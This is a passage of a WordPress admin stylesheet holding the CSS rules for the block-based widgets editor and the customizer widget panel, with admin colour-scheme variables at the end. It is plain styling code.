:after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before{box-sizing:inherit}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{
  background:#fff;
  box-sizing:border-box;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{
  box-sizing:inherit;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{
  margin:-12px;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{
  margin-bottom:0;
}

#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{
  transform:translateX(100%);
}

.customize-widgets-header{
  background:#f0f0f1;
  border-bottom:1px solid #e0e0e0;
  display:flex;
  justify-content:flex-end;
  margin:-15px -12px 0;
  z-index:8;
}
@media (min-width:600px){
  .customize-widgets-header{
    margin-bottom:44px;
  }
}
.customize-widgets-header.is-fixed-toolbar-active{
  margin-bottom:0;
}

.customize-widgets-header-toolbar{
  align-items:center;
  border:none;
  display:flex;
  width:100%;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{
  border-radius:2px;
  color:#fff;
  height:24px;
  margin:12px auto 12px 0;
  min-width:24px;
  padding:0;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{
  content:none;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{
  background:#1e1e1e;
}
.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{
  margin-right:-12px;
}

#customize-sidebar-outer-content{
  min-width:100%;
  width:auto;
}

#customize-outer-theme-controls .widgets-inserter{
  padding:0;
}
#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{
  display:none;
}

.customize-widgets-layout__inserter-panel{
  background:#fff;
}

.customize-widgets-layout__inserter-panel-header{
  align-items:center;
  border-bottom:1px solid #ddd;
  box-sizing:border-box;
  display:flex;
  height:46px;
  justify-content:space-between;
  padding:16px;
}
.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{
  margin:0;
}

.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{
  background:#fff;
}

.customize-widgets-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.customize-widgets-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 1rem 0 0;
  text-align:left;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  flex-basis:auto;
  margin:0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 .2rem 0 0;
}

.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{
  position:fixed !important;
  z-index:7;
}

.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{
  position:fixed !important;
}

.customize-widgets-welcome-guide__image__wrapper{
  background:#00a0d2;
  margin-bottom:8px;
  text-align:center;
}
.customize-widgets-welcome-guide__image{
  height:auto;
}
.wrap .customize-widgets-welcome-guide__heading{
  font-size:18px;
  font-weight:600;
}
.customize-widgets-welcome-guide__text{
  line-height:1.7;
}
.customize-widgets-welcome-guide__button{
  justify-content:center;
  margin:1em 0;
  width:100%;
}
.customize-widgets-welcome-guide__separator{
  margin:1em 0;
}
.customize-widgets-welcome-guide__more-info{
  line-height:1.4;
}

#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{
  background-color:#fff;
  min-height:100%;
  padding-top:12px !important;
}
#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{
  overflow:unset;
}
#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{
  margin-top:-12px !important;
  position:static !important;
  width:unset !important;
}

.components-modal__screen-overlay{
  z-index:999999;
}

.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector{
  box-sizing:border-box;
}
.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before{
  box-sizing:inherit;
}:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:#9747ff;
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.components-panel__header.interface-complementary-area-header__small{
  background:#fff;
  padding-right:4px;
}
.components-panel__header.interface-complementary-area-header__small .interface-complementary-area-header__small-title{
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
@media (min-width:782px){
  .components-panel__header.interface-complementary-area-header__small{
    display:none;
  }
}

.interface-complementary-area-header{
  background:#fff;
  padding-right:4px;
}
.interface-complementary-area-header .components-button.has-icon{
  display:none;
  margin-left:auto;
}
.interface-complementary-area-header .components-button.has-icon~.components-button{
  margin-left:0;
}
@media (min-width:782px){
  .interface-complementary-area-header .components-button.has-icon{
    display:flex;
  }
  .components-panel__header+.interface-complementary-area-header{
    margin-top:0;
  }
}

.interface-complementary-area{
  background:#fff;
  color:#1e1e1e;
}
@media (min-width:600px){
  .interface-complementary-area{
    -webkit-overflow-scrolling:touch;
  }
}
@media (min-width:782px){
  .interface-complementary-area{
    width:280px;
  }
}
.interface-complementary-area .components-panel{
  border:none;
  position:relative;
  z-index:0;
}
.interface-complementary-area .components-panel__header{
  position:sticky;
  top:0;
  z-index:1;
}
.interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
  top:48px;
}
@media (min-width:782px){
  .interface-complementary-area .components-panel__header.edit-post-sidebar__panel-tabs{
    top:0;
  }
}
.interface-complementary-area p:not(.components-base-control__help){
  margin-top:0;
}
.interface-complementary-area h2{
  color:#1e1e1e;
  font-size:13px;
  margin-bottom:1.5em;
}
.interface-complementary-area h3{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  margin-bottom:1.5em;
  text-transform:uppercase;
}
.interface-complementary-area hr{
  border-bottom:1px solid #f0f0f0;
  border-top:none;
  margin:1.5em 0;
}
.interface-complementary-area div.components-toolbar,.interface-complementary-area div.components-toolbar-group{
  box-shadow:none;
  margin-bottom:1.5em;
}
.interface-complementary-area div.components-toolbar-group:last-child,.interface-complementary-area div.components-toolbar:last-child{
  margin-bottom:0;
}
.interface-complementary-area .block-editor-skip-to-selected-block:focus{
  bottom:10px;
  left:auto;
  right:10px;
  top:auto;
}

@media (min-width:782px){
  body.js.is-fullscreen-mode{
    height:calc(100% + 32px);
    margin-top:-32px;
  }
  body.js.is-fullscreen-mode #adminmenumain,body.js.is-fullscreen-mode #wpadminbar{
    display:none;
  }
  body.js.is-fullscreen-mode #wpcontent,body.js.is-fullscreen-mode #wpfooter{
    margin-left:0;
  }
}

html.interface-interface-skeleton__html-container{
  position:fixed;
  width:100%;
}
@media (min-width:782px){
  html.interface-interface-skeleton__html-container{
    position:static;
    width:auto;
  }
}

.interface-interface-skeleton{
  bottom:0;
  display:flex;
  flex-direction:row;
  height:auto;
  max-height:100%;
  position:fixed;
  right:0;
  top:46px;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    top:32px;
  }
  .is-fullscreen-mode .interface-interface-skeleton{
    top:0;
  }
}

.interface-interface-skeleton__editor{
  display:flex;
  flex:0 1 100%;
  flex-direction:column;
  overflow:hidden;
}

.interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .interface-interface-skeleton{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .interface-interface-skeleton{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .interface-interface-skeleton{
    left:160px;
  }
}
.folded .interface-interface-skeleton{
  left:0;
}
@media (min-width:783px){
  .folded .interface-interface-skeleton{
    left:36px;
  }
}

body.is-fullscreen-mode .interface-interface-skeleton{
  left:0 !important;
}

.interface-interface-skeleton__body{
  display:flex;
  flex-grow:1;
  overflow:auto;
  overscroll-behavior-y:none;
}
@media (min-width:782px){
  .has-footer .interface-interface-skeleton__body{
    padding-bottom:25px;
  }
}

.interface-interface-skeleton__content{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:auto;
  z-index:20;
}
@media (min-width:782px){
  .interface-interface-skeleton__content{
    z-index:auto;
  }
}

.interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
  background:#fff;
  bottom:0;
  color:#1e1e1e;
  flex-shrink:0;
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__secondary-sidebar,.interface-interface-skeleton__sidebar{
    position:relative !important;
    width:auto;
  }
  .is-sidebar-opened .interface-interface-skeleton__secondary-sidebar,.is-sidebar-opened .interface-interface-skeleton__sidebar{
    z-index:90;
  }
}

.interface-interface-skeleton__sidebar{
  overflow:auto;
}
@media (min-width:782px){
  .interface-interface-skeleton__sidebar{
    border-left:1px solid #e0e0e0;
  }
  .interface-interface-skeleton__secondary-sidebar{
    border-right:1px solid #e0e0e0;
  }
}

.interface-interface-skeleton__header{
  border-bottom:1px solid #e0e0e0;
  color:#1e1e1e;
  flex-shrink:0;
  height:auto;
  z-index:30;
}

.interface-interface-skeleton__footer{
  background-color:#fff;
  border-top:1px solid #e0e0e0;
  bottom:0;
  color:#1e1e1e;
  display:none;
  flex-shrink:0;
  height:auto;
  left:0;
  position:absolute;
  width:100%;
  z-index:90;
}
@media (min-width:782px){
  .interface-interface-skeleton__footer{
    display:flex;
  }
}
.interface-interface-skeleton__footer .block-editor-block-breadcrumb{
  align-items:center;
  background:#fff;
  display:flex;
  font-size:13px;
  height:24px;
  padding:0 18px;
  z-index:30;
}

.interface-interface-skeleton__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:auto;
  position:fixed !important;
  right:0;
  top:-9999em;
  width:100vw;
  z-index:100000;
}
@media (min-width:782px){
  .interface-interface-skeleton__actions{
    width:280px;
  }
}
.interface-interface-skeleton__actions:focus,.interface-interface-skeleton__actions:focus-within{
  bottom:0;
  top:auto;
}
.is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
  top:46px;
}
@media (min-width:782px){
  .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    border-left:1px solid #ddd;
    top:32px;
  }
  .is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus,.is-fullscreen-mode .is-entity-save-view-open .interface-interface-skeleton__actions:focus-within{
    top:0;
  }
}

.interface-more-menu-dropdown{
  margin-left:-4px;
}
.interface-more-menu-dropdown .components-button{
  padding:0 2px;
  width:auto;
}
@media (min-width:600px){
  .interface-more-menu-dropdown{
    margin-left:0;
  }
  .interface-more-menu-dropdown .components-button{
    padding:0 4px;
  }
}

.interface-more-menu-dropdown__content .components-popover__content{
  min-width:300px;
}
@media (min-width:480px){
  .interface-more-menu-dropdown__content .components-popover__content{
    max-width:480px;
  }
}
.interface-more-menu-dropdown__content .components-popover__content .components-dropdown-menu__menu{
  padding:0;
}

.components-popover.interface-more-menu-dropdown__content{
  z-index:99998;
}

.interface-pinned-items{
  display:flex;
  gap:8px;
}
.interface-pinned-items .components-button{
  display:none;
  margin:0;
}
.interface-pinned-items .components-button[aria-controls="edit-post:block"],.interface-pinned-items .components-button[aria-controls="edit-post:document"],.interface-pinned-items .components-button[aria-controls="edit-site:block-inspector"],.interface-pinned-items .components-button[aria-controls="edit-site:global-styles"],.interface-pinned-items .components-button[aria-controls="edit-site:template"]{
  display:flex;
}
.interface-pinned-items .components-button svg{
  max-height:24px;
  max-width:24px;
}
@media (min-width:600px){
  .interface-pinned-items .components-button{
    display:flex;
  }
}

.wp-block[data-type="core/widget-area"]{
  margin-left:auto;
  margin-right:auto;
  max-width:700px;
}
.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title{
  background:#fff;
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  height:48px;
  margin:0;
  position:relative;
  transform:translateZ(0);
  z-index:1;
}
.wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title:hover{
  background:#fff;
}
.wp-block[data-type="core/widget-area"] .block-list-appender.wp-block{
  position:relative;
  width:auto;
}
.wp-block[data-type="core/widget-area"] .editor-styles-wrapper .wp-block.wp-block.wp-block.wp-block.wp-block{
  max-width:100%;
}
.wp-block[data-type="core/widget-area"] .components-panel__body.is-opened{
  padding:0;
}

.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper{
  margin:0;
  padding:0;
}
.blocks-widgets-container .wp-block-widget-area__inner-blocks.editor-styles-wrapper>.block-editor-block-list__layout{
  margin-top:-48px;
  min-height:32px;
  padding:72px 16px 16px;
}

.wp-block-widget-area__highlight-drop-zone{
  outline:var(--wp-admin-border-width-focus) solid var(--wp-admin-theme-color);
}

body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title,body.is-dragging-components-draggable .wp-block[data-type="core/widget-area"] .components-panel__body>.components-panel__body-title *{
  pointer-events:none;
}

.edit-widgets-error-boundary{
  box-shadow:0 .7px 1px #00000026,0 2.7px 3.8px -.2px #00000026,0 5.5px 7.8px -.3px #00000026,.1px 11.5px 16.4px -.5px #00000026;
  margin:60px auto auto;
  max-width:780px;
  padding:20px;
}

.edit-widgets-header{
  align-items:center;
  background:#fff;
  display:flex;
  height:60px;
  justify-content:space-between;
  overflow:auto;
}
@media (min-width:600px){
  .edit-widgets-header{
    overflow:visible;
  }
}
.edit-widgets-header .selected-block-tools-wrapper{
  align-items:center;
  display:flex;
  height:60px;
  overflow:hidden;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-contextual-toolbar{
  border-bottom:0;
  height:100%;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar{
  height:100%;
  padding-top:15px;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-toolbar .components-button:not(.block-editor-block-mover-button){
  height:32px;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group{
  border-right:none;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-left:8px;
  margin-top:4px;
  width:1px;
}
.edit-widgets-header .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.edit-widgets-header .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .edit-widgets-header .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    position:relative;
    top:-10px;
  }
}

.edit-widgets-header__navigable-toolbar-wrapper{
  align-items:center;
  display:flex;
  flex-shrink:2;
  justify-content:center;
  overflow:hidden;
  padding-left:16px;
  padding-right:8px;
}

.edit-widgets-header__title{
  font-size:20px;
  margin:0 20px 0 0;
  padding:0;
}

.edit-widgets-header__actions{
  align-items:center;
  display:flex;
  gap:4px;
  padding-right:16px;
}
@media (min-width:600px){
  .edit-widgets-header__actions{
    gap:8px;
  }
}

.edit-widgets-header-toolbar{
  gap:8px;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon{
  height:36px;
  min-width:36px;
  padding:6px;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon.is-pressed,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon.is-pressed{
  background:#1e1e1e;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:focus:not(:disabled),.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 1px #fff;
  outline:1px solid #0000;
}
.edit-widgets-header-toolbar>.components-button.has-icon.has-icon.has-icon:before,.edit-widgets-header-toolbar>.components-dropdown>.components-button.has-icon.has-icon:before{
  display:none;
}

.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{
  padding-left:8px;
  padding-right:8px;
}
@media (min-width:600px){
  .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle{
    padding-left:12px;
    padding-right:12px;
  }
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle:after{
  content:none;
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{
  transition:transform .2s cubic-bezier(.165, .84, .44, 1);
}
@media (prefers-reduced-motion:reduce){
  .edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle svg{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-widgets-header-toolbar__inserter-toggle.edit-widgets-header-toolbar__inserter-toggle.is-pressed svg{
  transform:rotate(45deg);
}

.edit-widgets-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.edit-widgets-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 0 0 1rem;
  text-align:right;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  flex-basis:auto;
  margin:0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.edit-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 0 0 .2rem;
}

.components-panel__header.edit-widgets-sidebar__panel-tabs{
  padding-left:0;
}

.edit-widgets-widget-areas__top-container{
  display:flex;
  padding:16px;
}
.edit-widgets-widget-areas__top-container .block-editor-block-icon{
  margin-right:16px;
}

.edit-widgets-notices__snackbar{
  bottom:20px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
  right:0;
}
@media (min-width:783px){
  .edit-widgets-notices__snackbar{
    left:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-widgets-notices__snackbar{
    left:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-widgets-notices__snackbar{
    left:160px;
  }
}
.folded .edit-widgets-notices__snackbar{
  left:0;
}
@media (min-width:783px){
  .folded .edit-widgets-notices__snackbar{
    left:36px;
  }
}

body.is-fullscreen-mode .edit-widgets-notices__snackbar{
  left:0 !important;
}

.edit-widgets-notices__dismissible .components-notice,.edit-widgets-notices__pinned .components-notice{
  border-bottom:1px solid #0003;
  box-sizing:border-box;
  min-height:60px;
  padding:0 12px;
}
.edit-widgets-notices__dismissible .components-notice .components-notice__dismiss,.edit-widgets-notices__pinned .components-notice .components-notice__dismiss{
  margin-top:12px;
}

.edit-widgets-layout__inserter-panel{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-widgets-layout__inserter-panel .block-editor-inserter__menu{
  overflow:hidden;
}

.edit-widgets-layout__inserter-panel-header{
  display:flex;
  justify-content:flex-end;
  padding-right:8px;
  padding-top:8px;
}

.edit-widgets-layout__inserter-panel-content{
  height:calc(100% - 44px);
}
@media (min-width:782px){
  .edit-widgets-layout__inserter-panel-content{
    height:100%;
  }
}

.edit-widgets-welcome-guide{
  width:312px;
}
.edit-widgets-welcome-guide__image{
  background:#00a0d2;
  margin:0 0 16px;
}
.edit-widgets-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-widgets-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-widgets-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 24px;
  padding:0 32px;
}
.edit-widgets-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-widgets-block-editor{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  position:relative;
}
.edit-widgets-block-editor,.edit-widgets-block-editor .block-editor-writing-flow,.edit-widgets-block-editor>div:last-of-type{
  display:flex;
  flex-direction:column;
  flex-grow:1;
}
.edit-widgets-block-editor .edit-widgets-main-block-list{
  height:100%;
}
.edit-widgets-block-editor .components-button{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:13px;
}
.edit-widgets-block-editor .components-button.has-icon,.edit-widgets-block-editor .components-button.is-tertiary{
  padding:6px;
}

.edit-widgets-editor__list-view-panel{
  display:flex;
  flex-direction:column;
  height:100%;
  min-width:350px;
}

.edit-widgets-editor__list-view-panel-content{
  height:calc(100% - 44px);
  overflow-y:auto;
  padding:8px;
}

.edit-widgets-editor__list-view-panel-header{
  align-items:center;
  border-bottom:1px solid #ddd;
  display:flex;
  height:48px;
  justify-content:space-between;
  padding-left:16px;
  padding-right:4px;
}

body.js.appearance_page_gutenberg-widgets,body.js.widgets-php{
  background:#fff;
}
body.js.appearance_page_gutenberg-widgets #wpcontent,body.js.widgets-php #wpcontent{
  padding-left:0;
}
body.js.appearance_page_gutenberg-widgets #wpbody-content,body.js.widgets-php #wpbody-content{
  padding-bottom:0;
}
body.js.appearance_page_gutenberg-widgets #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.appearance_page_gutenberg-widgets #wpfooter,body.js.widgets-php #wpbody-content>div:not(.blocks-widgets-container):not(#screen-meta),body.js.widgets-php #wpfooter{
  display:none;
}
body.js.appearance_page_gutenberg-widgets .a11y-speak-region,body.js.widgets-php .a11y-speak-region{
  left:-1px;
  top:-1px;
}
body.js.appearance_page_gutenberg-widgets ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-widgets ul#adminmenu>li.current>a.current:after,body.js.widgets-php ul#adminmenu a.wp-has-current-submenu:after,body.js.widgets-php ul#adminmenu>li.current>a.current:after{
  border-right-color:#fff;
}
body.js.appearance_page_gutenberg-widgets .media-frame select.attachment-filters:last-of-type,body.js.widgets-php .media-frame select.attachment-filters:last-of-type{
  max-width:100%;
  width:auto;
}

.blocks-widgets-container,.components-modal__frame{
  box-sizing:border-box;
}
.blocks-widgets-container *,.blocks-widgets-container :after,.blocks-widgets-container :before,.components-modal__frame *,.components-modal__frame :after,.components-modal__frame :before{
  box-sizing:inherit;
}

@media (min-width:600px){
  .blocks-widgets-container{
    bottom:0;
    left:0;
    min-height:calc(100vh - 46px);
    position:absolute;
    right:0;
    top:0;
  }
}
@media (min-width:782px){
  .blocks-widgets-container{
    min-height:calc(100vh - 32px);
  }
}
.blocks-widgets-container .interface-interface-skeleton__content{
  background-color:#f0f0f0;
}

.blocks-widgets-container .editor-styles-wrapper{
  margin:auto;
  max-width:700px;
}

.edit-widgets-sidebar .components-button.interface-complementary-area__pin-unpin-item{
  display:none;
}

.js .widgets-php .notice{
  display:none !important;
}

body.admin-color-light{
  --wp-admin-theme-color:#0085ba;
  --wp-admin-theme-color--rgb:0, 133, 186;
  --wp-admin-theme-color-darker-10:#0073a1;
  --wp-admin-theme-color-darker-10--rgb:0, 115, 161;
  --wp-admin-theme-color-darker-20:#006187;
  --wp-admin-theme-color-darker-20--rgb:0, 97, 135;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-light{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-modern{
  --wp-admin-theme-color:#3858e9;
  --wp-admin-theme-color--rgb:56, 88, 233;
  --wp-admin-theme-color-darker-10:#2145e6;
  --wp-admin-theme-color-darker-10--rgb:33, 69, 230;
  --wp-admin-theme-color-darker-20:#183ad6;
  --wp-admin-theme-color-darker-20--rgb:24, 58, 214;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-modern{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-blue{
  --wp-admin-theme-color:#096484;
  --wp-admin-theme-color--rgb:9, 100, 132;
  --wp-admin-theme-color-darker-10:#07526c;
  --wp-admin-theme-color-darker-10--rgb:7, 82, 108;
  --wp-admin-theme-color-darker-20:#064054;
  --wp-admin-theme-color-darker-20--rgb:6, 64, 84;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-blue{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-coffee{
  --wp-admin-theme-color:#46403c;
  --wp-admin-theme-color--rgb:70, 64, 60;
  --wp-admin-theme-color-darker-10:#383330;
  --wp-admin-theme-color-darker-10--rgb:56, 51, 48;
  --wp-admin-theme-color-darker-20:#2b2724;
  --wp-admin-theme-color-darker-20--rgb:43, 39, 36;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-coffee{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ectoplasm{
  --wp-admin-theme-color:#523f6d;
  --wp-admin-theme-color--rgb:82, 63, 109;
  --wp-admin-theme-color-darker-10:#46365d;
  --wp-admin-theme-color-darker-10--rgb:70, 54, 93;
  --wp-admin-theme-color-darker-20:#3a2c4d;
  --wp-admin-theme-color-darker-20--rgb:58, 44, 77;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ectoplasm{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-midnight{
  --wp-admin-theme-color:#e14d43;
  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
